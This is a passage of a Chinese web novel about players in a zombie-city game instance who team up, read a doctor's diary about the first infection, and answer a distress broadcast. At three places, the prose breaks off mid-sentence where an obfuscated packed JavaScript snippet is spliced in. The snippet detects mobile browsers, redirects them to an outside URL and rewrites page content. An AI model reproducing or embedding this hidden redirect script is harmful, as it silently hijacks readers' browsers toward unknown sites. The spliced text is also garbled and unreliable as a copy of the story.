“我艹！”江显愤怒咆哮，“你温馨提示有个鬼用，倒是让那群丧尸停下啊！！” 他们已经重新接近四楼平台了，2秒后阶梯托着他们升高，江显便看到一双昏黄的眼睛呆呆地看自己。 精英丧尸一整个趴在地上，嘴张到最大凑在扶梯末端，显然是把扶梯当成食品传送带。 后面的追兵依旧没有要停下的意思，三楼和四楼的丧尸们似乎打定主意要拿他们当夜宵。眼下他们腹背受敌，楼层又太高，足有十多米，直接翻越栏杆逃生无异于自寻死路。 江显看着那张不断逼近的大嘴，心脏怦怦直跳。 眼下已无其他办法，她一咬牙，握紧手枪就朝那只精英丧尸连续射击！ 弹壳一枚枚顺着台阶滚落，精英丧尸受了伤疯狂尖叫，他抄起那根铁棒朝扶梯上一通狂砸。 江显的心在一点点落入谷底——精英级别的防御力大有长进，挨了这么多枪居然还没倒下。 眼看着他们就要碰到那张臭气熏天的大嘴了—— 砰！ 丧尸的头颅骤然爆炸，仿佛是一块发馊的豆腐渣，呛鼻的臭气四处喷发。 叮。 子弹穿透丧尸，又飞出数米，落在地上。 45. 末日迷宫9 绝处逢生，俩人不约而同回头寻找子弹射出的方向，就见在四楼对面的环形走廊上，正架着一把狙击枪，黑洞洞的枪口正对着俩人。 下一刻，枪口朝下一偏，他们身后扶梯上的丧尸也接二连三地炸开了花。 短短几秒时间里，原先将他们逼入绝境的丧尸们全歼！ “来了。”江显脸上露出如释重负又不太意外的神情。她从精英丧尸的庞大身体上跨过去，目光则注视着那把狙击枪的地方，她很好奇这么彪悍的武器究竟是何人在操控。 然后她看到枪后走出一个全身黑色作战服的身影。 人物：奥菲莉娅 身份：玩家 武力：98（您是副本大boss吗？） 智力：60（头脑还算灵活） 精神波动：30（您没有感情吗？） 技能：【狙击】 技能说明：【使用枪械时100%可能性命中目标。在遭遇多个目标时则优先锁定最强目标进行瞄准（此技能会在不违法物理规则的前提下生效）。】 在江显还在看人物信息的短短时间里，来人已经绕过大半个环形走廊，来到她身前了。 江显看清了她的面容。 那是个很年轻的女孩，身形高挑健硕，作战服下包裹的手臂肌肉线条正在轻微起伏；一头深棕色的长发利落地扎成高马尾，线条分明的脸上无甚表情，整个人都透着一股危险的凌厉劲儿。 现在她冷冷开口：“玩家？” 江显点头，然后对她的援助表示感谢。 “这个副本里玩家之间的利益并不存在冲突。”江显立刻说道，“甚至说，收集地图碎片需要玩家之间相互配合、分工协作。或许我们可以达成合作——一起获取碎片，然后共同解锁一整个区域。” “我很擅长解密——至少我自己这么认为。如果联手的话整支队伍的效率或许会大大增加。”她试图这样卖力推销自己。 眼前这女孩显然不是好惹的角色，她必须尽快给自己打上一个“友军”的标签。 女孩却似乎不吃她这一套，继续盘问：“你是玩家的证据？” 都已经说出副本任务了，居然还要其他证据？江显被她的警惕性惊呆了。 “提供不出来？”也就是她愣怔俩秒，女孩旋即眯起眼睛，眼神冰冷而危险地看着江显。 像是某种大型猫科动物狩猎前锁定猎物的征兆。 江显看到她把手悄悄摸向了背后，显然那里藏着什么武器。 她这才意识到自己因为有作弊技能的缘故，因此才能够对所有人物做出瞬间的判断；对于其他玩家而言，光是做到这一点就已经费尽心力；在副本里生存更是犹如行走于钢丝之上。 “我们在不久前点亮了附近的一块地图碎片，就在你们解锁的区域附近——如果我没猜错的话。”陆寰举着手走过来示意自己毫无威胁，面带微笑地解释说。 有那个“无害的伪装”技能加持，他的亲和力显然要比江显高上数倍。 再加上碎片的事情对上了，奥菲莉娅总算是认可了他们话语的真实性。 她点了点头：“别怪我太过不近人情。上个副本我们就因为npc开场伪装成玩家而伤亡惨重。” 江显想起第一副本开始时船长的行为，心里了然。 现在她只觉得憋屈，自己真诚地说一通也比不上有些天赋型玩家寥寥几语的威力。 “当然，别以为是玩家就等于拿了免死金牌。”她转过身，把背后藏着的未知武器收入鞘中。 江显这才看清，她方才握着的是一把长刀，纵使刀锋已然没入鞘中，凌厉之气却分毫不少。 “但凡心有不轨的，鬼怪、npc还是玩家，结局都一样。”她警告道，“我对杀人可没有心理负担，也从不是什么好人。” 说完这句后她便不再做任何解释，似乎并不准备对刚刚所为进行辩解和道歉。 然后朝对面喊道，“解决了，这里没你担心的人形丧尸。” 她顺着奥菲莉娅面朝的地方看过去，那里正走出另一人。 那是个金发碧眼的年轻男人，穿着黑色风衣，矜贵斯文的气质让江显觉得不应该在这里见到他，而应该是在某些名流的宴会上。 现在他走到他们面前，礼貌地伸出手自我介绍：“我是克莱茵，爱好是自制一些应急用的小装备。” 人物：克莱茵 身份：玩家 武力：50（反正您也不靠武力吃饭） 智力：80（是个聪明人，但显然加点没加在逻辑思维上，而是加在了一些比较炸裂的地方） 精神波动：60（您先缓一缓） 技能：【合成】 技能说明：【特定可燃物质在你手里能合成出猛烈的炸药。炸药必须在制成后半小时内使用，否则失效。每完成一次合成，精神波动上升10点，恢复时间10分钟。】 陆寰不动声色地走上前去和他握手，再度用那副极其让人信服的表情进行自我介绍。 “我叫江显。”江显也自我介绍。 “原来是你。”奥菲莉娅眼里露出一抹异色，“你很聪明。” “啊？”江显没搞懂她是从何得出这个结论的。 难道是因为没有在一见面就被她干掉吗？ 这女孩的态度转变太过迅速，江显着实摸不着头脑。 奥菲莉娅继续自顾自地说：“我不喜欢欠人人情，尤其是救命之恩这种。幸好现在还清了。” 江显不知道她口中的“救命之恩”从何而来。 “你在上一个副本可是救了全体玩家呢。”克莱茵提醒道，“如果不是你击败了觉醒的最终boss，全体玩家都不可能幸免于难。” 江显笑了笑没有纠正，厚着脸皮把这项荣誉笑纳了。眼下她总不能告诉其他玩家，最终boss是自己主动请求她的毁灭的，这也太有失形象了。 多言多错，只要她不说，就能一直保持神秘智囊小天才的人设。而这个人设关系到接下来她在团队里的位置。 于是她对于在树冠上发生的那些事情并未说得太过详细，只是告诉了俩人关于副本本质以及其与现实联系的事情。 “副本是一个捕获了大量死者意识的巨型电磁场。” “濒死状态的我们碰巧接入了副本，并依靠着高强度刺激维持我们的脑电波活跃，使得现实里的我们不至于脑死亡。” 奥菲莉娅听后神情不变：“原来身处副本的只是我的意识。“ “只是你的意识都能发挥出如此恐怖的实力吗？”克莱茵感叹道，“那要是回到现实遇见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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江显觉得自己愈是思考，真相愈是扑朔迷离。 而此时星际直播平台已经要被弹幕淹没了。 [我靠！我看到了什么！杀手姐姐和江姐他们会合了] [这是什么世纪会面！太激动了！] [咦？他们怎么一上来就剑拔弩张的！可别打起来啊……] [你们没发现吗这俩队其实很互补诶，江姐他们是无敌脑力组，奥菲他们是无敌破坏王。他们要是联手了岂不是分分钟杀穿副本！] 大多数观众都对这两队的联手表示十分期待，当然也有少数好事者在弹幕上心理阴暗地叫嚣的。[打起来，对，对快打起来！] 眼看着奥菲莉娅满眼戒备地伸手握住刀柄，那些人的气焰更是嚣张了： [就是这样，就是这样，这个副本一直杀丧尸也太无聊了，不来点玩家内讧谁看得下去！] 很快这几条弹幕就被群起而攻之： [还真当副本直播是给你们娱乐的了？好大的脸面？娱乐至死算了！] [副本玩家本就生死未定呢，诅咒他们自相残杀的人内心是有多变态？！] [这种人就应该被丢进副本里去算了。让他自己体验体验“自相残杀”的快乐] ………… 义愤填膺的弹幕淹没了那几句话，最后结束这场混乱的则是简简单单一句话： [别吵了，都吵到人眼睛了！安安静静看直播不好吗，你看他们已经联手了！] 46. 末日迷宫10 副本里的几人对外界状况浑然不知，现在正在交换信息分享先前的发现。 “我们最开始是在一片有医院等卫生服务设施的居民区里登陆的。”克莱茵说道，“鉴于传统游戏和影视作品里的丧尸通常和病毒有关，我们猜测医院里应该会有一些线索。” “于是我们扫荡了整个医院的丧尸，并获得了这个。”他说着从背包里取出一件物品。 江显接过来，发现那是只手写电子记录本，看那龙飞凤舞的字迹一眼出自某位医生之手。 “这些副本一定要用日记的形式来给我们提供信息吗？”江显吐槽道。 “就算是日记我们也无法识别。”克莱茵长叹一口气，委婉地评价道，“这字……尤为豪放，独树一帜。” “我试图解析过了，但专业术语太多，这里光脑又没用。”奥菲莉娅补充说。 江显启动了电子记录本，一则一则查看。 【3024年8月2日】 【今天上班时接诊了奇怪的病人，他说他感觉不到自己的手了！】 【可是他的手明明好好的，没有开放性伤口，没有闭合性损伤，也没有软组织挫伤】 【我应病人要求做了各项检查，他的身体比一头牛还壮，好得不能再好！】 【我总觉得他是在装病——用来骗取残疾证。这种人我常碰到。】 【我开了点营养元素补充剂把他打发走了，并且让他记得多吃苹果。】 【感觉自己又躲过了一劫，真是太机智了！】 ………… 【3024年8月9日】 【奇怪的病人又来了，这次他的主诉是早上醒来时会发现身边多了很多原先不处于那个位置的东西】 【我告诉他说，他这一定是梦游了，我们这里是神经内科不看这个。他突然情绪激动地说不是的。】 【他说他既往从来没有梦游的习惯。为了排除这一可能性，尝试过数次在床上睁着眼睛一整夜，睡眠手环也显示他处于清醒状态。可是身边就是会莫名其妙出现东西。】 【我觉得他脑子大概是有些问题，于是把他推给了精神科。】 ………… 【3024年8月15日】 【今日精神科喊我去会诊，我又一次见到了那个病人。天！他怎么这样阴魂不散！】 【精神科告诉我，这个患者的情况已经不是他们能解决的了。】 【我问他们是不是因为他总是有疑病症，精神科的摇摇头，然后他们给我看他在特殊病房的录像。】 【于是我清晰地看到，画面上那人的双手像是面条一样疯狂舞蹈。】 【这太离奇了，他的眼睛明明还瞪得很圆，脑电波也显示他尚未入睡】 【他真的感受不到自己的手在做什么吗？】 【3024年8月16日】 【在我的建议下他们给他开了全套颅脑MRI，头颅CT增强等等，最终发现了大脑白质多区域弥漫状病变。会诊最终建议是“不明原因的、未检测到遗传变异的，类[亨廷顿舞蹈病]疾病”】 【他绝望地说他已经控制不住他的腿了，自己也不知道下一刻会走向哪里】 【我们不得不遗憾地告诉他，对于这类未曾有记录的疾病我们实在是爱莫能助】 ……………… 【3024年8月20日】 【病人的情况以日为单位每况愈下。他浑身的随意肌都已经开始失控，现在它们的确是“随意肌”了——随随便便的“随意肌”，想怎么动就怎么动】 【现在患者的面部肌肉也开始抽搐，伴有明显共济失调，手足抽搐，多种神经反射阳性……】 【于是我们终于明白——从肢端开始，他的身体正在失去大脑掌控：四肢——躯干——然后是头面部】 【接下来会发生什么——我们不知道了。】 【我们不知道了】 ……………… 【3024年8月30日】 【出大事了！患者逃跑了！他跳着舞逃跑了！像是老掉牙游戏里那种舞王僵尸！】 【他咬伤了十几个医护人员，仅仅几小时后那些医护们的表现就和他如出一辙】 【他们的皮肤开始干瘪和腐坏，我猜是滋养它们的神经血管出了问题。现在他们全都成了丧尸！】 【我们无法阻止丧尸的蔓延和传染，因为这一进程是以医院为中心的】 【我们正在土崩瓦解】 【我们被全面击溃了】 ………… 【如果有谁看到这本记录，一定要相信这都是我的幻觉】 【我病了，一定是这样的。不然为什么我每天早晨醒来都会满嘴鲜血？不然为什么只是在手术台上开了会小差患者就不见了？】 ………… 【哦，吼吼，医院里的肉类真好吃，白白的，细腻极了】 【好像有哪里不对？】 ………… 【这里真是个美妙的乐园啊！】 ………… 【我是谁？】 伴随着这一记突兀而恍惚的叩问，记录到这里就戛然而止了。 江显看得出了一身冷汗。 她十分确定，从这本记录的某个时间点开始，记录主人的手就已经失控了，再后面进行记录的已经不知道是个什么东西了。 “你大概知道人变异为丧尸的原理了吗？”克莱茵满脸期冀地看着她。 “暂时还不清楚。”江显说，“但现在我可以向你们解释一下那些你们看不懂的术语…………” “不，不，我相信你解释了我们也听不懂的。”克莱茵捂脸，“你有什么大致猜想吗？” “神经系统的病变？”江显说道，“大概是这个方向吧。记录本里提到过类似‘舞蹈病’的症状。” “结合所谓的‘影像学诊断’吗？”陆寰问。 “你给我一种重新回到了大学上pbl和cbl的错觉。”江显说。 “那是什么？”陆寰不解。 “没什么——一门被戏称为‘跑不了’的水课。”江显把话题转回来，“我们还是继续分析吧。” “所以，我们是不是可以把眼下的情况理解为——丧尸的本质是患有未知疾病的人，而这种疾病可以通过咬人来传播？”克莱茵思考道。 “从已知信息来看是这样的。”江显点点头，“有获得关于这一疾病来历的线索吗？” “很可惜没有。”克莱茵叹息，“我们不知道这种变异从何而来，但这本电子笔记本上记载的应该是第一例病例。” “后来呢？”江显问道，“你们在先前——特别是住宅区那部分时有得知后来发生了什么吗？” “住宅区的丧尸实在是太多了，多到了令我们发怵的地步。我们在那里登陆能杀出重围都已是万幸，哪还顾得上挨家挨户翻一遍。”克莱茵扶额。 看得出来他对于差点落地成盒的事情还心有余悸。 于是线索就这样断掉了，他们无从获悉在丧尸潮爆发后城市发生了什么。 于是江显问道：“你们接下来准备怎么走？” “找个地方清扫丧尸，然后朝周边扩展解锁地图并在新区域继续这一步骤。”奥菲莉娅答道，“直到解锁整张地图。” 以她的实力，做到这一点确实并不太难。 “和我想的一样。”江显说。 既然住宅区的丧尸密度太高，他们就避开那里，先从容易攻克的区域开始。 等到收集了足够碎片，他们再点亮住宅区的地图，这会大大减轻探索难度。 至于那个提示里说的广播台，他们可以等最后收集完线索后统一去那里分享。在此之前可以先听听别的玩家播报信息。 于是眼下的任务变成了先清理这商场内的所有丧尸。 有了俩位新同伴的加入，杀死丧尸变成了一件极其容易的事情。陆寰和江显负责将所有僵尸引到圆环走廊附近，而高处的奥菲莉娅则凭着那个技能，对丧尸进行一场大屠杀。丧尸们一个接一个着涌入走廊，简直像是排着队给她送积分的。 克莱茵则在一旁观察和补刀。他没敢在建筑内部使用爆炸装备，这里的丧尸还没有达到很高的密集程度，倘若把楼炸塌了反而得不偿失。 十几分钟之后，整座商场的丧尸已经无一幸存。 奥菲莉娅把长刀从丧尸脑子里拔出来，随便从橱窗里找了件衣服擦拭刀刃上的污垢。环形走廊从二楼到四楼都凌乱不堪，倚叠如山的尸体逼停了数台扫地机器人。 一番激战让清洁环卫车工作量激增，它们一边“嘀嘀嘀”狂叫一边张开“大嘴”把丧尸吞肚子里去，然后底座上的抹布把地面擦得干净如初，案发现场仿佛根本不存在一样。 江显站在三楼的栏杆旁注视着底下那片狼藉在不断收缩。在最后一只丧尸尸体被“吞掉”时，奥菲莉娅正好从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14611998|149201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 附近路过，她的人物属性再次在江显眼前跳出。 江显无意间一瞥，却骤然间浑身一颤—— 她猛然发现自己忽略了一个极其明显的问题。或许是因为一路上的战斗太激烈让她身心俱疲，也或许是先前一直和陆寰这个读不出属性的异类一起导致她没能产生直观对比。 那个问题是，这个副本里迄今为止所有的丧尸，在弹出提示时都没有【精神波动】这一栏。 没有精神波动意味着什么？江显自己也说不太准。 上一个副本中无论是普通船员、汉斯、向导，甚至是巨树，都是有【精神波动】的，且持续变化的。 霍列斯，或者说那个巨型大脑，曾经告诉过她，副本里的npc都是真实存在过之人死后的残余意识形成。而玩家本身也是在通俗意义上以“意识”的形态接入副本。 这是否表明着，所谓“精神波动”，其实就是人物的意识活动水平？ 丧尸没有精神波动，那很大可能意味着，这个副本里的丧尸并非是死者意识形成。 副本是由亡者的意识（死亡时大脑电活动）构成，亡者会在副本里扮演着类似现实的角色，重复经历相似的事件，这是巨型大脑告诉她的。 它没有理由欺骗江显，这会间接导致江显无法通关副本回到现实，对于他们之间的交易而言没有任何益处。 既然如此，巨脑给出的信息多半是真实的。也就是说副本里必然有什么东西/角色是由亡者的意识所扮演。 现在数量最庞大、看上去最为可能的丧尸被首先排除了。 那么在这样一座无人的繁华城市里，到底有哪里可以藏着那样数量庞大的意识？ 这实在是太奇怪了。 江显决定暂时将这个问题搁置。她朝已经在一楼大厅集合的三人走去。 她的队友们正在研究地图，江显把先前的杂念抛掷脑后，加入了他们的探讨。 就见现在地图最顶上显示着。 【东部·医疗与生活服务中心，未完全解锁】 【南部··文化娱乐中心，未完全解锁】 【中部·市政中心，未解锁】 【西部·交通管理中心，未完全解锁】 【北部·监控中心与广告投放中心，未解锁】 “我们现在位于地图南部的地方，地图最东方和最西方各有一小块已经点亮的地图，看解锁区扩散速度那俩队人还算顺利。”江显说。 “而最北方那支队伍虽然好久没动了，但离我们太远，前去那里同样需要点亮大量的碎片。”陆寰分析道，“我们需要在短时间内尽可能解锁更多的区域，太多人一起行动反而达不到效率最大化。因此我认为我们没必要去和他们任何一支队伍会合。” 克莱茵注视着地图道：“我赞同。我们小队战力完全足够。不如趁这段时间在无人探索过的区域刷更多碎片。” 奥菲莉娅也淡淡说了句“同意”。她似乎总是那副冷若冰霜和波澜不惊的模样。 江显看着公共地图，沉吟道：“东部还没开完，但已知有医院、住宅、各种工厂制造厂等，就是你们登陆的地方；而西部是【交通控制中心】。果然，这座城市是有什么在控制着交通工具的。” “我们现在或许是几支队伍里离城市中央最靠近的队伍，我们就沿着目前的线路继续朝北边扩张解锁，或许不久后就能离开这个区抵达别的分区，探索更多区域。”江显说。 大家对她的方案表示赞同，都开始兑换碎片按她所说的方向解锁。 很快，他们周围大片区域被点亮了。 “这城市设施还挺齐全。商业娱乐中心名副其实。”克莱茵看着最新地图颇为惊讶地说，“大型商场附近是一整片繁华的商业街区，再附近不远处还有个游乐场。” “把游乐场再北边也点亮吧。”江显建议道，“我们下一站去游乐场刷怪，应该不愁碎片不够。” 大家正欲操作，商场广播却再次突然响起了“兹拉兹啦”的电流声。 “之前我们在室外也听到过两次这种声响。”奥菲莉娅面带疑惑，“那到底是什么？” “之前我们触发系统提示，说城市中央有个广播。”江显说，“虽然我不太明白这种科技程度需要广播电台有什么用。” 正当四人以为这次的电流杂音会和先前两次一样无端开始又莫名结束时，广播里却突然传出了人声。 “有，有人能听到吗？” 47. 末日迷宫11 “全体注意。” “飞船即将降落，各支队做好登陆准备！” “飞船即将降落，各支队做好登陆准备！” 反复响起的飞船广播里，身着作战服的军士们正迅速地从座位上起身，前去飞船大厅集合列队。 这是一艘大型的军用飞船，足以容纳数百人。飞船上直接设有作战训练室和宿舍，归属这艘飞船的军人们常年驻扎在这里，在宇宙中往来飞行执行任务。 这一次，被派往绿松石星的飞船足有三艘。 引擎喷射的蓝色火焰变换了色泽，飞船底部的结构正在变动，这是降落模式开启的征兆。 一阵轻微抖动之后，各项数据确认完成，洁白的船身张开挡板，一头扎入了这颗绿色的行星之中，宛如一只坠入森林的白鸟。 【动力系统运作正常】 【方位数值矫正完毕】 【各项参数正常】 一条又一条的机器提示音在大厅里响起，军人们站姿笔挺排列成规矩的方阵，脸上的神情坚毅而笃定，仿佛丝毫没有听到那些声音。 飞船指挥室里，露西亚凝视着那颗星球的表面。 他们正在突破那层绿色的虚假成像层，云雾像是幻境分崩离析的外壳，如今展示在他们眼前的，是绿松石星本来的面貌。 她一定会在这里找到真相，绝不辜负元帅对她的信任的。露西亚心想。 在出发前她已经听叶泊说了这段时间副本直播的一系列变故，也了解了星网上关于副本本质的分析。 星网上现在目前最为主观的猜想似乎是，绿松石星上藏着个外星人建造的地下城，人类破坏了地下城，又派人建造投影层隐藏这一切。却不料所有罹难者的意识都在未知磁场中产生了变化并融合，从而形成副本。 但是叶泊似乎对此并不认同，并持有一种近乎悲观的态度。 露西亚不明白，到底是什么让她麾下这位自命不凡又聪明绝顶的研究员蒙受如此打击。她也不太想去打听自己下属的私人事情和情绪。 最后抱着要让任务万无一失的想法，她在出发前问他：”你觉得，这一切是怎么回事？” 叶泊一副大难临头的样子：“人类要灭亡了。” “你是说那颗星球上有外星生命，是他们制造了副本，将玩家接入副本，然后朝星网发送信息？” “正是这样。而且从这一系列的技术反推，他们的科技水平要远远领先于我们。” “不可能！”露西亚下意识否认，“人类进入星际时代已经足有千年！” 叶泊说下去：“但现实是，他们正在用超高的技术手段向我们大肆展示。整个星网收到副本直播，是因为它将那些副本里人脑电活动组成的电磁信号转换成具体的声音、信号，然后荷载在电磁波上广播给我们。” “这些未知的文明对于电磁波的操纵已经达到了炉火纯青的地步，做完这一切于他们而言不过是易如反掌之事。” “看看，他们能够轻而易举地侵入星网并锁定直播的权限，使之无法被下架。人类在他们眼前不过是呱呱坠地、蹒跚学步的婴儿！” “现在这些强大的生命正朝着全人类大肆宣告着自己的存在，我们无法预料他们的下一步会是什么——威慑？攻击？或是毁灭？” “以他们目前所展示出来的能力来看，改变电磁环境干扰飞船只是一件微不足道的事情。只要他们想，他们甚至能够在顷刻之间让整个‘星网’服务器都彻底瘫痪！离开了星网的人类就好像是彼此割据的虫子一样，断了联系，轻而易举就能被碾死！” “人类岌岌可危，命悬一线，上校。” 露西亚感到有些恐慌。但她同样并不完全赞同叶泊的观点。 科学家们都是一群对世界失去期待的疯子，她觉得这句话说得很对。她不认为目前形势已经到了剑拔弩张的地步。 露西亚不明白，如果创造副本的是这样一群能将人类置于死地的生命，他们又为何要将人类拉入其中，并向整个星网广而告之？这说不通。难道这一切都是为了引导他们来到这颗星球上，并进行探测吗？ 她觉得这个推测能说通，可是还有什么是一个如此高等的文明所不能办到、需要迂回地求助于他们的？ 带着这些疑问，露西亚踏上了这趟旅程。 现在三艘飞船陆续在地表完成了着陆，这一次由于事先做了充分的准备，没有再出现坠机和撞上地面的意外。 舱门正在打开。露西亚走出指挥室来到大厅，她的目光扫过那些军人的面庞。她朝他们敬礼，大厅里一片齐刷刷的手，像是密密麻麻的旗帜。 “上校，请您确保通讯的正常连接，经过我调整后的频率能够穿透绿松石星的磁场，因此现在您防护镜上的摄像头会把画面实时的反馈给我。一有任何异常我都会提醒您。”叶泊的声音从通讯频道里传出，“上校，请您放心地向前，我会是你们在屏幕之后的另一双眼睛。” “谢谢你，叶博士。”露西亚说道，“还要麻烦你帮我注意一下周围，寻找一下那所谓‘地下城’的入口。我们上次前来探查时并未发现任何异常。” “是，上校，我会尽力的。” 数支方阵各司其职地分散开了。金天鹅星从地平线上升起来了，整个地表都在熠熠闪光。 露西亚被那强光晃得眯起了眼睛。她注视着那里，知道它必然在自己眼中熠熠闪烁，那里一定藏着一切的答案与希望。 * “有人能听到吗？” 广播里传出的声音带着哭腔，让四人全都悚然一惊。 “有人能听到吗？” 这是广播第三遍重复这句话了。 “那是谁？”陆寰眼中满是难以置信。 “抵达那什么‘市政中心’广播电台的其他玩家？现在只有这一种解释了。”江显说道。 广播里仍在继续说着：“救救我们，救救我们，如果你们手头有地图碎片的话求求你们帮我们解锁地图中央偏下方那一大块位置。” “我们不自量力，没有收集足够碎片就闯入了广播电台大楼，现在我们被丧尸包围了，为了逃跑我们不得不前往还没解锁的区域……啊——” 嘈杂的背景音让他所说的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14624478|149201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十分有说服力，从广播里夹杂着的急促喘息和哭音里来看，这支队伍应该确实正在遭遇危险。 “我们的计划里确实有往北边走这一项，提早点亮和晚点点亮没有本质区别。反正附近的游乐场已经解锁完全了，待会再刷个怪就能收集到更多碎片。”克莱茵第一个表态说，“人命关天的事情，还是宁可信其有的。” 说着他就打开公共地图操作界面，把自己剩下的所有碎片都进行兑换，点亮了一大片区域。 “尽管我不擅长战斗，收集的碎片可能只是杯水车薪。”江显说，“我赞同克莱茵的说法。” 她也贡献出了自己的所有碎片。陆寰紧随其后照做。 即便是队伍里看着最不近人情的奥菲莉娅，也毫不犹豫地选择了帮助。 经由他们的累积，现在地图上又一块区域解锁了一半，那里果然像地图顶上所写那样是个市政府中心之类的区域，广播电台附近有图书馆和市政广场。 可是那广播里求救之人的声音却愈发绝望了，几乎成了哀鸣：“没有人救我们！没有人救我们！”他说，“我们孤立无援！” 刚刚无私奉献出自己全部碎片的四人面面相觑，不理解这人何出此言。 “他，看不到我们已经完成了地图点亮？”克莱茵不自然地扶了下眼镜，“副本地图是真正意义上‘同步’的，不存在延迟这一说。” 江显眉头紧蹙，不理解这究竟是怎么回事。 先前被推翻的“多个副本”猜想似乎又再次笼罩在她头顶了，她没有任何证据可以验证或是反驳它，一切都悬而未决。 “咔” 广播在短促的爆破声中被掐断了，周围再度恢复了寂静。 四个人看起来都心事重重。 最后还是江显率先打破了沉寂：“或许我们先去游乐场收集碎片吧。毕竟我们迟早是要去图书馆、广播电台一探究竟的。” “我们该怎么离开这里？”奥菲莉娅突然发问。 “你们是怎么来到城市中心的？”江显反问她。 他们或许比她和陆寰还要早来到【文化娱乐中心】，她可不信所有人都和她一样好运，能够恰巧找到一辆钥匙没拔的越野车。 “搭便车啊。”奥菲莉娅似乎很奇怪她为什么要问出这样的问题。 “搭便车？”陆寰也没理解。 “我们逃出居民区后，正好看到一辆在启动的自动小轿车，克莱茵在它顶上炸了个洞，我们跳进去坐下，它就一路带着我们来到这附近。”奥菲莉娅说，“后来它堵住了，我们砸开车门强制靠边停车了。” “但是自动的车子没法指定目的地，必须要有钥匙才能切换成手动的。”江显说。 “这不是问题，我们可以坐在车顶上搭便车。再不济抓着公交的尾部也行。要是到了个路口它形式轨迹和地图不符我们就跳车。它们车速不快的，城市中心似乎永远处于拥堵状态。”奥菲莉娅说。 陆寰及时出声阻止了这场闹剧愈演愈烈：“你们是不是忘了这城市有定点停靠的悬浮列车啊喂！刚刚解锁的游乐场附近明明显示是列车途径站！” 48. 末日迷宫12 四人离开商场，按照城市标志牌的指示前往悬浮列车车站。 他们飞速清理了站台和车厢里的丧尸，成功在一节空空如也的车厢里落了座。 受限于副本规则，车站和车厢里所有的地图都凭空消失了，列车只会在关门后播报下一个停靠站的名字。 悬浮列车轨道建在高处，因此能够俯瞰沿途的街景。现在车门在提示音里缓缓关闭，窗外闪烁着的五色灯火正在玻璃上缓缓合拢。发电能源站幽蓝色的闪光幽灵一样时隐时现。 然后列车开动了，窗外一切的影像都模糊成一团发光马赛克。 “下一站，城市博物馆。”机械音提示道。 城市博物馆在附近并不是什么稀罕事，毕竟它属于“文化设施”。 可是他们先前明明在地图上看到，游乐场位于距商场不远的地方，它们之间并没有隔着别的设施区。 难道这条悬浮列车线绕了个远路？江显不解。否则游乐场和商场中间凭空多出来的博物馆是哪儿来的？ 江显注视着窗外的夜景，试图从中分辨出一些差别来。可是四下都是千篇一律的霓虹灯和房屋群落，变幻莫测的灯光里连她的倒影都已迷离，根本无从分辨哪是哪儿。 “城市博物馆，到了。下一站，欢笑游乐场。”几分钟后列车停下，机械音说。 江显感到有些惊讶。莫非是她想多了，列车真的在她没意识到的情况下绕了个远路，途径他们还未解锁的城市博物馆后开往游乐场？ 眼下暂时无法考证这一点，何况他们还有更紧急的事情——伴随着列车门的打开，站台上拥挤的丧尸们推推搡搡要塞进车厢，四人全都打起了二十分的精神迎战。奥菲莉娅拔刀出鞘，寒光闪烁里十几只丧尸就这样被砍瓜切菜一样解决了。 残肢满地的列车就这样继续前行。 “到了。”江显从高处俯瞰列车窗外说道。 此时映入他们眼帘的，是一大片璀璨的光芒。 五彩灯串缠绕在屋顶上流光溢彩，没有人的过山车在轨道上飞速俯冲和环绕，色彩斑斓的旋转木马在欢快的音乐里掠过，更远处缓缓旋转的摩天轮像是巨型个棒棒糖。 这里不像是无人的末日，这里是奇幻的乐园。 如同不久前那样，闪着灯光的列车一进站，就吸引了大量丧尸的注意。他们目光呆着地看了过来，纷纷凑上前。 “3，2，1。”克莱茵倒数着使用了技能，朝站台大厅里扔刚合成完的炸药。几秒后一阵巨响炸开，夺目的火光照亮了大半个大厅，让窗外无数的灯光黯然失色。 四人组迎着热浪冲出列车，附近的丧尸都在火焰里熊熊燃烧化为灰烬，他们附近因此形成了一个真空圈。 奥菲莉娅挥着她的长刀，任何嗷嗷叫着扑向她的丧尸都在顷刻间断成两截。她的刀法精湛极了，整个人都隐入雪亮的刀光里化作一个影子。江显很难想象这个时代还有人如此精通古朴的武器。但转念一想她狙击也强得可怕，就猜到或许这和她的本职工作有关了。 有这样一个强者在前面开路，其他人的压力骤减。接下来的一路上，克莱茵继续用技能不断把原材料合成炸药，陆寰和江显则清理着为数不多的漏网之鱼。 四人轻而易举地解决了车站大厅里密集的丧尸，马不停蹄地朝游乐场的方向跑去。刚刚也就十几分钟的时间，他们已经收集了近一百个碎片。 “游乐场不比车站大厅，那里占地面积太大了，丧尸分布也较为松散，这种情况下我的炸药很难发挥出最大效用。”克莱茵说道。 他的合成技能会升高精神波动，相当于每使用一次都会有10分钟的负面状态冷却时间。尽管一路上他都在列车上默默囤炸药，但是因为生效时间限制的问题他只合成了三组。不节省点用的话很快就会耗尽。 炸药是四人现在唯一可以再生、勉强称之为无限的资源。四人能够随身携带的弹药武器和饮食都有限，一旦耗尽就必须再次回商场补充。这意味着他们不仅得计算着用量，还得速战速决。 